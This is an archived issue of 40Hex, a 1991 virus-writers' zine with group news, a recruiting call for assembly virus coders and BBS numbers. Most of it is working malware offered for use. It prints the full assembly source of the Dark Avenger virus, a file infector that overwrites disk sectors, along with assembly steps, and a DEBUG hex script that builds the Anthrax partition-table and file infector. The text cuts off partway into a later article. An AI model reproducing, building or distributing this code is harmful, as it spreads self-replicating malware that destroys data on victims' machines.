💾 Archived View for gemini.spam.works › mirrors › textfiles › magazines › 40HEX › 40hex003 captured on 2022-06-12 at 10:05:17.
-=-=-=-=-=-=-
40Hex Issue 3 0000 Contents -------- A Word From Hellraiser.......................................0001 The Dark Avenger Source......................................0002 Anthrax......................................................0003 The 40Hex Challenge/The Strange Case of Validate.............0004 Application for SKISM........................................0005 Virus News For October/91....................................0006 The Darth Vader Virus Strain B...............................0007 Mystery Virus................................................0008 Tiny-F Source................................................0009 Afterwords...................................................0010 Staff ----- Hellraiser...............Editor/Writer/Programmer/Tech. Consultant Garbage Heap.....................Writer/Spell Checker/Distribution Special Thanks to... Demogorgan, Dark Angel, Count Zero, Piff', Paragon Dude, The Fisch, Gambit, Punisher, Nuclear Warhead, Ironlord (and the rest of the alliance people all our freinds in PA, CT, and all over the world, and most of all our readers for your support. SKISM distribution sites as of 10/91 Jihad - 1-(408)-XXX-XXXX : California The Night Eyes BBS - 1-(717)-367-3501 : Pennsylvania The Punishment Due BBS - 1-(203)-675-???? : Connecticut * DOWN * 40Hex Issue 3 0001 - Gray would be the color, if I had a heart. Well what's up. Sorry about the delay with issue three but there's been a lot of stuff going down. I've been working on a lot of semi-legit projects and all that so I haven't gotten around to 40Hex till now. Anyway, first big news is this. SKISM has now co-oped with the New York based group PHALCON, thus broadening both groups span of diversity. SKISM being an all virus group and PHALCON dealing with mainly h/p. Secondly, SKISM is hoping to broaden its membership a bit. We are looking for a few good virus writers. Mainly what we need is some people who are very good at assembly code and first and foremost virus writing. Lame bomb writers, Q-Basic coders and such need not apply. We are not just looking for IBM coders, as we are also broading to Mac and Amiga. Thirdly, SKISM gained a new HQ in PA., it is called Night Eyes BBS. The number is (717)-367-3501, supporting 12/24/96/14.4 baud rates. Finally, The Landfill BBS, whos number is listed as the SKISM HQ in issue two, is no longer our HQ. Although we are still on very good terms with the staff of that BBS, please refrain from calling it with virus related topics (they are no-longer h/p, just Amiga wares). Any- way the new New York SKISM base should be up and running by tops October. It will be called Hell On Earth and I myself will be sysop. Well enjoy... - Hellraiser -- Appendum -- Well about three days after writing this artical I found out that I am being shipped to California. This sucks... Well looks like Hell On Earth will be up out there instead of New York. Call our home boards to keep in touch with the situation. I can still be left mail on Night Eyes. -- Appendum B -- 10/25/91 Well, it's been over a month since I wrote the above. Nothing much has changed since then. I'm in CA. now and without a system. Phalcon members have been going off -- mostly Dark Angel, who has a new virus coming out, Bob Ross. I hope I can get it for this issue. Anyway, in other news The Punishment Due - Skism distribution site has gone down. I am looking for other BBS's to add the collection to. More news... There is another Hell On Earth BBS out there so it looks like I am going to have to change the name of my BBS, when I get my system. Ironically I am concidering having the other Hell On Earth as a Skism distribution site. Even more news... I have been getting a lot of shit cause of my name. There seems to be other Hellraisers out there, who claim they were the first... Fuck you all! I had the name since 1989, when I read Clive Barkers novella - "The Hellbound Heart." If you had it before then, its yours. However after calling a lot of boards nationally lately I never had a problem logging on due to my name. Shows how lame people are. Well thats it for now... Hope this issue will be out shortly. 40Hex Issue 3 0002 The Dark Avenger - We are demons to some, angels to others. Well, here it is. Here is the first major virus source, from the man who brought us such greats as V2000, Anthrax, and V2100 to name a few. Well this Bulgarian metal lover was nice enough to freely distribute the source code to his first virus. ------------------------------------------------------------------------------ ; "Blessed is he who expects nothing, for he shall not be disappointed." ; The original source of one of the first Bulgarian viruses is in front of ; you. As you may notice, it's full of rubbish and bugs, but nevertheless ; the virus has spread surprisingly quickly troughout the country and made a ; quick round the globe. (It's well-known in Eastern and Western Europe, as ; well as in USA.) Due to the aniversary of its creation, the source is ; distributed freely. You have the rights to distribute the source which can ; be charged or free of charge, with the only condition not to modify it. ; The one, who intentionaly distributes this source modified in any way will ; be punished! Still, the author will be glad if any of you improves it and ; spreads the resulting executive file (i.e., the virus itself). Pay ; attention to the fact that after you assemble the source, the resulting ; .COM-file cannot be run. For that purpose you have to create a three-byte ; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the ; two files. Don't try to place a JMP at the beginning of the source. ; DISCLAIMER: The author does not take any responsability for any damage, ; either direct or implied, caused by the usage or not of this source or of ; the resulting code after assembly. No warrant is made about the product ; functionability or quality. ; I cannot resist to express my special gratitude to my "populazer" Dipl. ; eng. Vesselin Bontchev, who makes me famous and who, wishing it or ; not, helps very much in the spreading of my viruses, in spite of the fact ; that he tries to do just the opposite (writing programs in C has never ; led to any good). ; Greetings to all virus writers! code segment assume cs:code,ds:code copyright: db 'Eddie lives...somewhere in time!',0 date_stamp: dd 12239000h checksum: db 30 ; Return the control to an .EXE file: ; Restores DS=ES=PSP, loads SS:SP and CS:IP. exit_exe: mov bx,es add bx,10h add bx,word ptr cs:[si+call_adr+2] mov word ptr cs:[si+patch+2],bx mov bx,word ptr cs:[si+call_adr] mov word ptr cs:[si+patch],bx mov bx,es add bx,10h add bx,word ptr cs:[si+stack_pointer+2] mov ss,bx mov sp,word ptr cs:[si+stack_pointer] db 0eah ;JMP XXXX:YYYY patch: dd 0 ; Returns control to a .COM file: ; Restores the first 3 bytes in the ; beginning of the file, loads SP and IP. exit_com: mov di,100h add si,offset my_save movsb movsw mov sp,ds:[6] ;This is incorrect xor bx,bx push bx jmp [si-11] ;si+call_adr-top_file ; Program entry point startup: call relative relative: pop si ;SI = $ sub si,offset relative cld cmp word ptr cs:[si+my_save],5a4dh je exe_ok cli mov sp,si ;A separate stack is supported for add sp,offset top_file+100h ;the .COM files, in order not to sti ;overlap the stack by the program cmp sp,ds:[6] jnc exit_com exe_ok: push ax push es push si push ds mov di,si ; Looking for the address of INT 13h handler in ROM-BIOS xor ax,ax push ax mov ds,ax les ax,ds:[13h*4] mov word ptr cs:[si+fdisk],ax mov word ptr cs:[si+fdisk+2],es mov word ptr cs:[si+disk],ax mov word ptr cs:[si+disk+2],es mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h cmp ax,0f000h ;for diskettes if a hard disk is jne nofdisk ;available mov word ptr cs:[si+disk+2],ax mov ax,ds:[40h*4] mov word ptr cs:[si+disk],ax mov dl,80h mov ax,ds:[41h*4+2] ;INT 41h usually points the segment, cmp ax,0f000h ;where the original INT 13h vector is je isfdisk cmp ah,0c8h jc nofdisk cmp ah,0f4h jnc nofdisk test al,7fh jnz nofdisk mov ds,ax cmp ds:[0],0aa55h jne nofdisk mov dl,ds:[2] isfdisk: mov ds,ax xor dh,dh mov cl,9 shl dx,cl mov cx,dx xor si,si findvect: lodsw ;Occasionally begins with: cmp ax,0fa80h ; CMP DL,80h jne altchk ; JNC somewhere lodsw cmp ax,7380h je intchk jne nxt0 altchk: cmp ax,0c2f6h ;or with: jne nxt ; TEST DL,80h lodsw ; JNZ somewhere cmp ax,7580h jne nxt0 intchk: inc si ;then there is: lodsw ; INT 40h cmp ax,40cdh je found sub si,3 nxt0: dec si dec si nxt: dec si loop findvect jmp short nofdisk found: sub si,7 mov word ptr cs:[di+fdisk],si mov word ptr cs:[di+fdisk+2],ds nofdisk: mov si,di pop ds ; Check whether the program is present in memory: les ax,ds:[21h*4] mov word ptr cs:[si+save_int_21],ax mov word ptr cs:[si+save_int_21+2],es push cs pop ds cmp ax,offset int_21 jne bad_func xor di,di mov cx,offset my_size scan_func: lodsb scasb jne bad_func loop scan_func pop es jmp go_program ; Move the program to the top of memory: ; (it's full of rubbish and bugs here) bad_func: pop es mov ah,49h int 21h mov bx,0ffffh mov ah,48h int 21h sub bx,(top_bz+my_bz+1ch-1)/16+2 jc go_program mov cx,es stc adc cx,bx mov ah,4ah int 21h mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 stc sbb es:[2],bx push es mov es,cx mov ah,4ah int 21h mov ax,es dec ax mov ds,ax mov word ptr ds:[1],8 call mul_16 mov bx,ax mov cx,dx pop ds mov ax,ds call mul_16 add ax,ds:[6] adc dx,0 sub ax,bx sbb dx,cx jc mem_ok sub ds:[6],ax ;Reduction of the segment size mem_ok: pop si push si push ds push cs xor di,di mov ds,di lds ax,ds:[27h*4] mov word ptr cs:[si+save_int_27],ax mov word ptr cs:[si+save_int_27+2],ds pop ds mov cx,offset aux_size rep movsb xor ax,ax mov ds,ax mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h mov ds:[21h*4+2],es mov ds:[27h*4],offset int_27 mov ds:[27h*4+2],es mov word ptr es:[filehndl],ax pop es go_program: pop si ; Smash the next disk sector: xor ax,ax mov ds,ax mov ax,ds:[13h*4] mov word ptr cs:[si+save_int_13],ax mov ax,ds:[13h*4+2] mov word ptr cs:[si+save_int_13+2],ax mov ds:[13h*4],offset int_13 add ds:[13h*4],si mov ds:[13h*4+2],cs pop ds push ds push si mov bx,si lds ax,ds:[2ah] xor si,si mov dx,si scan_envir: ;Fetch program's name lodsw ;(with DOS 2.x it doesn't work anyway) dec si test ax,ax jnz scan_envir add si,3 lodsb ; The following instruction is a complete nonsense. Try to enter a drive & ; directory path in lowercase, then run an infected program from there. ; As a result of an error here + an error in DOS the next sector is not ; smashed. Two memory bytes are smashed instead, most probably onto the ; infected program. sub al,'A' mov cx,1 push cs pop ds add bx,offset int_27 push ax push bx push cx int 25h pop ax pop cx pop bx inc byte ptr [bx+0ah] and byte ptr [bx+0ah],0fh ;It seems that 15 times doing jnz store_sec ;nothing is not enough for some. mov al,[bx+10h] xor ah,ah mul word ptr [bx+16h] add ax,[bx+0eh] push ax mov ax,[bx+11h] mov dx,32 mul dx div word ptr [bx+0bh] pop dx add dx,ax mov ax,[bx+8] add ax,40h cmp ax,[bx+13h] jc store_new inc ax and ax,3fh add ax,dx cmp ax,[bx+13h] jnc small_disk store_new: mov [bx+8],ax store_sec: pop ax xor dx,dx push ax push bx push cx int 26h ; The writing trough this interrupt is not the smartest thing, bacause it ; can be intercepted (what Vesselin Bontchev has managed to notice). pop ax pop cx pop bx pop ax cmp byte ptr [bx+0ah],0 jne not_now mov dx,[bx+8] pop bx push bx int 26h small_disk: pop ax not_now: pop si xor ax,ax mov ds,ax mov ax,word ptr cs:[si+save_int_13] mov ds:[13h*4],ax mov ax,word ptr cs:[si+save_int_13+2] mov ds:[13h*4+2],ax pop ds pop ax cmp word ptr cs:[si+my_save],5a4dh jne go_exit_com jmp exit_exe go_exit_com: jmp exit_com int_24: mov al,3 ;This instruction seems unnecessary iret ; INT 27h handler (this is necessary) int_27: pushf call alloc popf jmp dword ptr cs:[save_int_27] ; During the DOS functions Set & Get Vector it seems that the virus has not ; intercepted them (this is a doubtfull advantage and it is a possible ; source of errors with some "intelligent" programs) set_int_27: mov word ptr cs:[save_int_27],dx mov word ptr cs:[save_int_27+2],ds popf iret set_int_21: mov word ptr cs:[save_int_21],dx mov word ptr cs:[save_int_21+2],ds popf iret get_int_27: les bx,dword ptr cs:[save_int_27] popf iret get_int_21: les bx,dword ptr cs:[save_int_21] popf iret exec: call do_file call alloc popf jmp dword ptr cs:[save_int_21] db 'Diana P.',0 ; INT 21h handler. Infects files during execution, copying, browsing or ; creating and some other operations. The execution of functions 0 and 26h ; has bad consequences. int_21: push bp mov bp,sp push [bp+6] popf pop bp pushf call ontop cmp ax,2521h je set_int_21 cmp ax,2527h je set_int_27 cmp ax,3521h je get_int_21 cmp ax,3527h je get_int_27 cld cmp ax,4b00h je exec cmp ah,3ch je create cmp ah,3eh je close cmp ah,5bh jne not_create create: cmp word ptr cs:[filehndl],0;May be 0 if the file is open jne dont_touch call see_name jnz dont_touch call alloc popf call function jc int_exit pushf push es push cs pop es push si push di push cx push ax mov di,offset filehndl stosw mov si,dx mov cx,65 move_name: lodsb stosb test al,al jz all_ok loop move_name mov word ptr es:[filehndl],cx all_ok: pop ax pop cx pop di pop si pop es go_exit: popf jnc int_exit ;JMP close: cmp bx,word ptr cs:[filehndl] jne dont_touch test bx,bx jz dont_touch call alloc popf call function jc int_exit pushf push ds push cs pop ds push dx mov dx,offset filehndl+2 call do_file mov word ptr cs:[filehndl],0 pop dx pop ds jmp go_exit not_create: cmp ah,3dh je touch cmp ah,43h je touch cmp ah,56h ;Unfortunately, the command inter- jne dont_touch ;preter does not use this function touch: call see_name jnz dont_touch call do_file dont_touch: call alloc popf call function int_exit: pushf push ds call get_chain mov byte ptr ds:[0],'Z' pop ds popf dummy proc far ;??? ret 2 dummy endp ; Checks whether the file is .COM or .EXE. ; It is not called upon file execution. see_name: push ax push si mov si,dx scan_name: lodsb test al,al jz bad_name cmp al,'.' jnz scan_name call get_byte mov ah,al call get_byte cmp ax,'co' jz pos_com cmp ax,'ex' jnz good_name call get_byte cmp al,'e' jmp short good_name pos_com: call get_byte cmp al,'m' jmp short good_name bad_name: inc al good_name: pop si pop ax ret ; Converts into lowercase (the subroutines are a great thing). get_byte: lodsb cmp al,'C' jc byte_got cmp al,'Y' jnc byte_got add al,20h byte_got: ret ; Calls the original INT 21h. function: pushf call dword ptr cs:[save_int_21] ret ; Arrange to infect an executable file. do_file: push ds ;Save the registers in stack push es push si push di push ax push bx push cx push dx mov si,ds xor ax,ax mov ds,ax les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack push es ;and changes them with what is needed push ax mov ds:[24h*4],offset int_24 mov ds:[24h*4+2],cs les ax,ds:[13h*4] mov word ptr cs:[save_int_13],ax mov word ptr cs:[save_int_13+2],es mov ds:[13h*4],offset int_13 mov ds:[13h*4+2],cs push es push ax mov ds,si xor cx,cx ;Arranges to infect Read-only files mov ax,4300h call function mov bx,cx and cl,0feh cmp cl,bl je dont_change mov ax,4301h call function stc dont_change: pushf push ds push dx push bx mov ax,3d02h ;Now we can safely open the file call function jc cant_open mov bx,ax call disease mov ah,3eh ;Close it call function cant_open: pop cx pop dx pop ds popf jnc no_update mov ax,4301h ;Restores file's attributes call function ;if they were changed (just in case) no_update: xor ax,ax ;Restores INT 13h and INT 24h mov ds,ax pop ds:[13h*4] pop ds:[13h*4+2] pop ds:[24h*4] pop ds:[24h*4+2] pop dx ;Register restoration pop cx pop bx pop ax pop di pop si pop es pop ds ret ; This routine is the working horse. disease: push cs pop ds push cs pop es mov dx,offset top_save ;Read the file beginning mov cx,18h mov ah,3fh int 21h xor cx,cx xor dx,dx mov ax,4202h ;Save file length int 21h mov word ptr [top_save+1ah],dx cmp ax,offset my_size ;This should be top_file sbb dx,0 jc stop_fuck_2 ;Small files are not infected mov word ptr [top_save+18h],ax cmp word ptr [top_save],5a4dh jne com_file mov ax,word ptr [top_save+8] add ax,word ptr [top_save+16h] call mul_16 add ax,word ptr [top_save+14h] adc dx,0 mov cx,dx mov dx,ax jmp short see_sick com_file: cmp byte ptr [top_save],0e9h jne see_fuck mov dx,word ptr [top_save+1] add dx,103h jc see_fuck dec dh xor cx,cx ; Check if the file is properly infected see_sick: sub dx,startup-copyright sbb cx,0 mov ax,4200h int 21h add ax,offset top_file adc dx,0 cmp ax,word ptr [top_save+18h] jne see_fuck cmp dx,word ptr [top_save+1ah] jne see_fuck mov dx,offset top_save+1ch mov si,dx mov cx,offset my_size mov ah,3fh int 21h jc see_fuck cmp cx,ax jne see_fuck xor di,di next_byte: lodsb scasb jne see_fuck loop next_byte stop_fuck_2: ret see_fuck: xor cx,cx ;Seek to the end of file xor dx,dx mov ax,4202h int 21h cmp word ptr [top_save],5a4dh je fuck_exe add ax,offset aux_size+200h ;Watch out for too big .COM files adc dx,0 je fuck_it ret ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. fuck_exe: mov dx,word ptr [top_save+18h] neg dl and dx,0fh xor cx,cx mov ax,4201h int 21h mov word ptr [top_save+18h],ax mov word ptr [top_save+1ah],dx fuck_it: mov ax,5700h ;Get file's date int 21h pushf push cx push dx cmp word ptr [top_save],5a4dh je exe_file ;Very clever, isn't it? mov ax,100h jmp short set_adr exe_file: mov ax,word ptr [top_save+14h] mov dx,word ptr [top_save+16h] set_adr: mov di,offset call_adr stosw mov ax,dx stosw mov ax,word ptr [top_save+10h] stosw mov ax,word ptr [top_save+0eh] stosw mov si,offset top_save ;This offers the possibilities to movsb ;some nasty programs to restore movsw ;exactly the original length xor dx,dx ;of the .EXE files mov cx,offset top_file mov ah,40h int 21h ;Write the virus jc go_no_fuck ;(don't trace here) xor cx,ax jnz go_no_fuck mov dx,cx mov ax,4200h int 21h cmp word ptr [top_save],5a4dh je do_exe mov byte ptr [top_save],0e9h mov ax,word ptr [top_save+18h] add ax,startup-copyright-3 mov word ptr [top_save+1],ax mov cx,3 jmp short write_header go_no_fuck: jmp short no_fuck ; Construct the .EXE file's header do_exe: call mul_hdr not ax not dx inc ax jne calc_offs inc dx calc_offs: add ax,word ptr [top_save+18h] adc dx,word ptr [top_save+1ah] mov cx,10h div cx mov word ptr [top_save+14h],startup-copyright mov word ptr [top_save+16h],ax add ax,(offset top_file-offset copyright-1)/16+1 mov word ptr [top_save+0eh],ax mov word ptr [top_save+10h],100h add word ptr [top_save+18h],offset top_file adc word ptr [top_save+1ah],0 mov ax,word ptr [top_save+18h] and ax,1ffh mov word ptr [top_save+2],ax pushf mov ax,word ptr [top_save+19h] shr byte ptr [top_save+1bh],1 rcr ax,1 popf jz update_len inc ax update_len: mov word ptr [top_save+4],ax mov cx,18h write_header: mov dx,offset top_save mov ah,40h int 21h ;Write the file beginning no_fuck: pop dx pop cx popf jc stop_fuck mov ax,5701h ;Restore the original file date int 21h stop_fuck: ret ; The following is used by the INT 21h and INT 27h handlers in connection ; to the program hiding in memory from those who don't need to see it. ; The whole system is absurde and meaningless and it is also another source ; for program conflicts. alloc: push ds call get_chain mov byte ptr ds:[0],'M' pop ds ; Assures that the program is the first one in the processes, ; which have intercepted INT 21h (yet another source of conflicts). ontop: push ds push ax push bx push dx xor bx,bx mov ds,bx lds dx,ds:[21h*4] cmp dx,offset int_21 jne search_segment mov ax,ds mov bx,cs cmp ax,bx je test_complete ; Searches the segment of the sucker who has intercepted INT 21h, in ; order to find where it has stored the old values and to replace them. ; Nothing is done for INT 27h. xor bx,bx search_segment: mov ax,[bx] cmp ax,offset int_21 jne search_next mov ax,cs cmp ax,[bx+2] je got_him search_next: inc bx jne search_segment je return_control got_him: mov ax,word ptr cs:[save_int_21] mov [bx],ax mov ax,word ptr cs:[save_int_21+2] mov [bx+2],ax mov word ptr cs:[save_int_21],dx mov word ptr cs:[save_int_21+2],ds xor bx,bx ; Even if he has not saved them in the same segment, this won't help him. return_control: mov ds,bx mov ds:[21h*4],offset int_21 mov ds:[21h*4+2],cs test_complete: pop dx pop bx pop ax pop ds ret ; Fetch the segment of the last MCB get_chain: push ax push bx mov ah,62h call function mov ax,cs dec ax dec bx next_blk: mov ds,bx stc adc bx,ds:[3] cmp bx,ax jc next_blk pop bx pop ax ret ; Multiply by 16 mul_hdr: mov ax,word ptr [top_save+8] mul_16: mov dx,10h mul dx ret db 'This program was written in the city of Sofia ' db '(C) 1988-89 Dark Avenger',0 ; INT 13h handler. ; Calls the original vectors in BIOS, if it's a writing call int_13: cmp ah,3 jnz subfn_ok cmp dl,80h jnc hdisk db 0eah ;JMP XXXX:YYYY my_size: ;--- Up to here comparison disk: ; with the original is made dd 0 hdisk: db 0eah ;JMP XXXX:YYYY fdisk: dd 0 subfn_ok: db 0eah ;JMP XXXX:YYYY save_int_13: dd 0 call_adr: dd 100h stack_pointer: dd 0 ;The original value of SS:SP my_save: int 20h ;The original contents of the first nop ;3 bytes of the file top_file: ;--- Up to here the code is written filehndl equ $ ; in the files filename equ filehndl+2 ;Buffer for the name of the opened file save_int_27 equ filename+65 ;Original INT 27h vector save_int_21 equ save_int_27+4 ;Original INT 21h vector aux_size equ save_int_21+4 ;--- Up to here is moved into memory top_save equ save_int_21+4 ;Beginning of the buffer, which ;contains ; - The first 24 bytes read from file ; - File length (4 bytes) ; - The last bytes of the file ; (my_size bytes) top_bz equ top_save-copyright my_bz equ my_size-copyright code ends end ------------------------------------------------------------------------------ A few notes on assembling this virus. It's a little bit tricky assembling the Dark Avenger Virus. Use these steps below. I use Turbo Assembler 2.0, but I'm positve that MASM will work just as well. 1: TASM AVENGER.ASM 2: TLINK AVENGER.OBJ 3: EXE2BIN AVENGER AVENGER.COM Now make a 3 byte file named JUMP.TMP using DEBUG like this 4: DEBUG n jmp.tmp e 0100 E9 68 00 rcx 3 w q 5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM There you have it.... HR 40Hex Issue 3 0003 Anthrax Well, this is turning out to be a tribute issue to the Dark Avenger. Here is another one of his better known viruses. This is a nice one cause it not only is a file infector, but it is also a sort of boot sector virus. It is also what I dubbed a reincarnation virus, meaning that even if you clean your system of it, it may still live, because it leaves a copy of itself on the last sector of the disk. The virus can be reincarnated by the V2100 virus, also bu The Dark Avenger. Well, Patti Hoffman (one of my favorite people on earth, not) wrote this virus up. Aliases: V Status: Rare [Not for long] Discovery: July, 1990 Symptoms: .COM & .EXE growth Origin: Bulgaria Isolated: Netherlands Eff Length: 1040 - 1279 Bytes Type Code: PRAKX - Parasitic Resident .COM, .EXE, & Partition Table Infector Detection Method: ViruScan V66+, Pro-Scan 2.01+, IBM Scan 2.00+ Removal Instructions: Scan/D + MDisk/P, Pro-Scan 2.01+ General Comments: The Anthrax Virus was isolated in July 1990 in the Netherlands after it was uploaded onto several BBSes in a trojan anti-viral program, USCAN.ZIP. It is the second virus to be found in a copy of UScan during July 1990, the first virus being V2100. Anthrax is a memory resident generic infector of .COM and .EXE files, including COMMAND.COM. The first time a program infected with the Anthrax virus is executed on the system's hard disk, the virus will infect the hard disk's partition table. At this point, the virus is not memory resident. It will also write a copy of itself on the last few sectors of the system's hard disk. If data existed on those last few sectors of the hard disk, it will be destroyed. When the system is booted from the hard disk, the Anthrax virus will install itself memory resident. It will remain memory resident until the first program is executed. At that time, it will deinstall itself from being resident and infect one .COM or .EXE file. This virus does not infect files in the current directory first, but instead starts to infect files at the lowest level of the disk's directory tree. Later, when an infected program is executed, Anthrax will infect one .COM or .EXE file, searching the directory structure from the lowest level of the directory tree. If the executed infected program was located on the floppy drive, a .COM or .EXE file may or may not be infected. The Anthrax Virus's code is 1,024 bytes long, but infected programs will increase in length by 1,040 to 1,279 bytes. On the author's test system, the largest increase in length experienced was 1,232 bytes. Infected files will always have an infected file length that is a multiple of 16. The following text strings can be found in files infected with the Anthrax virus: "(c)Damage, Inc." "ANTHRAX" A third text string occurs in the viral code, but it is in Cyrillics. Per Vesselin Bontchev, this third string translates to: "Sofia 1990". Since Anthrax infects the hard disk partition tables, infected systems must have the partition table disinfected or rebuilt in order to remove the virus. This disinfection can be done with either a low- level format or use of the MDisk/P program for the correct DOS version after powering off and rebooting from a write-protected boot diskette for the system. Any .COM or .EXE files infected with Anthrax must also be disinfected or erased. Since a copy of the virus will exist on the last few sectors of the drive, these must also be located and overwritten. Anthrax interacts with another virus: V2100. If a system which was previously infected with Anthrax should become infected with the V2100 virus, the V2100 virus will check the last few sectors of the hard disk for the spare copy of Anthrax. If the spare copy is found, then Anthrax will be copied to the hard disk's partition table. It is not known if Anthrax carries any destructive capabilities or trigger/activation dates. Here is the actual virus. Well if this is your fist copy of 40Hex, let me explain how to compile it. First copy what is below with your editor. Then save it to a file called ANTHRAX.SCR. Then type at the command line - DEBUG <ANTHRAX.SCR This will create a file called ANTHRAX.COM, that's the actual virus. ------------------------------------------------------------------------------- n anthrax.com e 0100 E9 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 e 0110 95 8C C8 2D 00 00 BA 00 00 50 52 1E 33 C9 8E D9 e 0120 BE 4C 00 B8 CD 00 8C CA 87 44 44 87 54 46 52 50 e 0130 C4 1C B4 13 CD 2F 06 53 B4 13 CD 2F 58 5A 87 04 e 0140 87 54 02 52 50 51 56 A0 3F 04 A8 0F 75 6C 0E 07 e 0150 BA 80 00 B1 03 BB 77 06 B8 01 02 50 CD 13 58 B1 e 0160 01 BB 00 04 CD 13 0E 1F BE 9B 03 8B FB B9 5E 00 e 0170 56 F3 A6 5E 8B FB B9 62 00 56 F3 A4 5F BE 12 08 e 0180 B9 65 00 F3 A4 74 1E 89 4D E9 B1 5C 89 4D 9B 88 e 0190 6D DC B1 02 33 DB B8 02 03 CD 13 49 BB 00 04 B8 e 01A0 01 03 CD 13 49 B4 19 CD 21 50 B2 02 B4 0E CD 21 e 01B0 B7 02 E8 87 01 5A B4 0E CD 21 5E 1F 8F 04 8F 44 e 01C0 02 8F 44 44 8F 44 46 1F 1E 07 95 CB 28 63 29 20 e 01D0 44 61 6D 61 67 65 2C 20 49 6E 63 2E 00 B0 03 CF e 01E0 06 1E 57 56 50 33 C0 8E D8 BE 86 00 0E 07 BF 08 e 01F0 06 FD AD AB A5 AF 87 F7 AD FC 74 11 1E 07 AF B8 e 0200 07 01 AB 8C C8 AB 8E D8 BF 68 00 A5 A5 58 5E 5F e 0210 1F 07 2E FF 2E 00 06 06 1E 57 56 52 51 53 50 0E e 0220 1F BE 06 06 33 C9 8E C1 BF 84 00 A5 A5 B4 52 CD e 0230 21 26 8B 47 FE 8E D8 BB 03 00 03 07 40 8E D8 81 e 0240 07 80 00 0E 07 B7 12 E8 F2 00 58 5B 59 5A 5E 5F e 0250 1F 07 2E FF 2E 06 06 C3 91 AE B4 A8 BF 20 31 39 e 0260 39 30 B8 00 3D CD 21 72 EE 93 B8 20 12 CD 2F 53 e 0270 26 8A 1D B8 16 12 CD 2F 5B BE 62 04 8B D6 B1 18 e 0280 B4 3F CD 21 33 C1 75 70 06 1F C6 45 02 02 33 D2 e 0290 EC 3C 10 72 FB 03 45 11 13 55 13 24 F0 3D 00 FB e 02A0 73 56 89 45 15 89 55 17 0E 1F 50 B1 10 F7 F1 2B e 02B0 44 08 8B C8 2B 44 16 A3 04 00 AD 35 4D 5A 74 03 e 02C0 35 17 17 9C 75 17 89 04 3B 44 0A 87 44 12 A3 07 e 02D0 00 89 4C 14 B9 DC 04 74 07 83 44 08 48 B9 65 00 e 02E0 51 B9 9B 03 B4 40 CD 21 33 C8 59 75 09 BA 00 04 e 02F0 B4 40 CD 21 33 C8 5A 58 75 38 26 89 4D 15 26 89 e 0300 4D 17 52 9D 75 18 26 8B 45 11 26 8B 55 13 B5 02 e 0310 F7 F1 85 D2 74 01 40 89 14 89 44 02 EB 0A C6 44 e 0320 FE E9 05 28 03 89 44 FF B9 18 00 8D 54 FE B4 40 e 0330 CD 21 26 80 4D 06 40 B4 3E CD 21 C3 8E D9 8A 1E e 0340 6C 04 0E 1F FF 06 5E 04 BA 4B 06 E8 1F 00 BE 0A e 0350 06 C6 04 5C 46 32 D2 B4 47 CD 21 BA 9B 03 B4 3B e 0360 CD 21 E3 0D B4 51 CD 21 8E DB BA 80 00 B4 1A EB e 0370 C8 72 3E BE 9C 03 32 D2 B4 47 CD 21 3A 2E DC 03 e 0380 B1 32 BA 9D 02 B4 4E 74 5C CD 21 72 24 BA 4B 06 e 0390 B8 01 4F BE DC 03 BF 68 06 AA B1 0D F3 A6 74 45 e 03A0 3A 6D FE 74 40 CD 21 73 E4 32 C0 EB D3 2A 2E 2A e 03B0 00 B1 41 BF 9C 03 3A 2D 8A C5 A2 DC 03 74 69 F2 e 03C0 AE 4F B1 41 B0 5C FD F2 AE 8D 75 02 BF DC 03 FC e 03D0 AC 84 C0 AA 75 FA BA CD 02 32 C9 EB 81 2E 2E 00 e 03E0 BA 4B 06 B4 4F CD 21 72 C8 BE 69 06 BF DC 03 80 e 03F0 3C 2E 74 EC 88 2D 8B D6 F6 44 F7 10 75 DB AC 84 e 0400 C0 AA 75 FA 4E FD AD AD FC 3D 58 45 74 05 3D 4F e 0410 4D 75 CD 53 E8 4B FE 5B 33 C9 8E C1 26 A0 6C 04 e 0420 0E 07 2A C3 3A C7 72 B8 BA 80 00 B1 03 BB 00 02 e 0430 B8 01 03 CD 13 BA 0A 06 E9 23 FF 95 BF 00 01 8B e 0440 5D 01 81 EB 28 02 8B C7 8D B7 FD 03 A5 A4 93 B1 e 0450 04 D3 E8 8C D9 03 C1 BA 0B 00 EB 71 B8 D0 00 FC e 0460 87 85 68 FA AB 8C C8 E2 F7 A3 86 00 AB 8E D8 B4 e 0470 08 CD 13 49 49 A1 E9 03 84 E4 74 01 91 B2 80 B8 e 0480 03 03 CD 13 91 84 E4 75 02 2C 40 FE CC A3 E9 03 e 0490 FF 06 60 04 32 F6 B9 01 00 BB 00 04 B8 01 03 CD e 04A0 13 8A D6 CB 41 4E 54 48 52 41 58 0E 1F 83 2E 13 e 04B0 04 02 CD 12 B1 06 D3 E0 8E C0 BF 00 04 BE 00 7C e 04C0 B9 00 01 8B DE FC F3 A5 8E D8 BA 27 04 51 53 50 e 04D0 52 CB 8E C1 B1 04 BE B0 05 83 C6 0E AD 3C 80 74 e 04E0 04 E2 F6 CD 18 92 FD AD 91 B8 01 02 CD 13 81 3E e 04F0 FE 05 55 AA 75 ED 06 1E 07 1F 32 F6 B9 02 00 33 e 0500 DB B8 02 02 CD 13 E9 EE FE 00 00 00 00 CD 20 CC e 0510 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0520 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0530 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0540 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0550 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0560 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A e 0570 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A rcx 480 w q ------------------------------------------------------------------------------- HR 40Hex Issue 3 0004 The Strange Case of Validate - Fall to your knees, begging your way out of this disease. Well we all know what a dick John Mcafee is. Well with his product SCAN comes a program 